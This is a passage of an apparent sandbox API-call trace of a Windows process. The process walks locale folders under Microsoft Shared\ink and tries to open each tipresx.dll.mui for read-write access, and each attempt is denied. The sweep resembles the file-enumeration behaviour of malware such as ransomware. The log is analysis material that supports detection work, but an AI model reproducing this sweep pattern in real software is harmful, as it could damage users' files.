ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.675] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.675] GetProcessHeap () returned 0x990000 [0163.675] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.675] GetLastError () returned 0x5 [0163.675] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.675] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.676] GetProcessHeap () returned 0x990000 [0163.676] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.676] GetProcessHeap () returned 0x990000 [0163.676] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.676] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.680] GetProcessHeap () returned 0x990000 [0163.680] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.680] GetProcessHeap () returned 0x990000 [0163.680] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.681] GetLastError () returned 0x5 [0163.681] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.681] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.682] GetProcessHeap () returned 0x990000 [0163.682] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.682] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0163.682] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0163.682] GetProcessHeap () returned 0x990000 [0163.682] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.682] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.682] GetProcessHeap () returned 0x990000 [0163.682] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.682] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.682] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.683] GetProcessHeap () returned 0x990000 [0163.683] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.683] GetLastError () returned 0x5 [0163.683] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.683] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.683] GetProcessHeap () returned 0x990000 [0163.683] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.683] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0163.683] GetProcessHeap () returned 0x990000 [0163.683] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.683] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.684] GetProcessHeap () returned 0x990000 [0163.684] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.684] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.684] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.684] GetProcessHeap () returned 0x990000 [0163.684] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.684] GetLastError () returned 0x5 [0163.684] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.684] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.684] GetProcessHeap () returned 0x990000 [0163.684] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.684] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0163.684] GetProcessHeap () returned 0x990000 [0163.685] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8c) returned 0x9b2468 [0163.685] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.685] GetProcessHeap () returned 0x990000 [0163.685] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.685] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.685] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.685] GetProcessHeap () returned 0x990000 [0163.685] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28e) returned 0x9b7b40 [0163.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.685] GetLastError () returned 0x5 [0163.686] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.686] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.696] GetProcessHeap () returned 0x990000 [0163.696] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.696] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0163.696] GetProcessHeap () returned 0x990000 [0163.696] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.696] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.697] GetProcessHeap () returned 0x990000 [0163.697] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.697] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.697] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.697] GetProcessHeap () returned 0x990000 [0163.697] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.698] GetLastError () returned 0x5 [0163.698] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.699] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.699] GetProcessHeap () returned 0x990000 [0163.699] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.699] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0163.699] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0163.699] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0163.699] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="th-TH", cAlternateFileName="")) returned 1 [0163.699] GetProcessHeap () returned 0x990000 [0163.699] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.699] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.699] GetProcessHeap () returned 0x990000 [0163.699] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.700] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.700] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.700] GetProcessHeap () returned 0x990000 [0163.700] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.700] GetLastError () returned 0x5 [0163.700] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.700] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.700] GetProcessHeap () returned 0x990000 [0163.700] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.700] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, 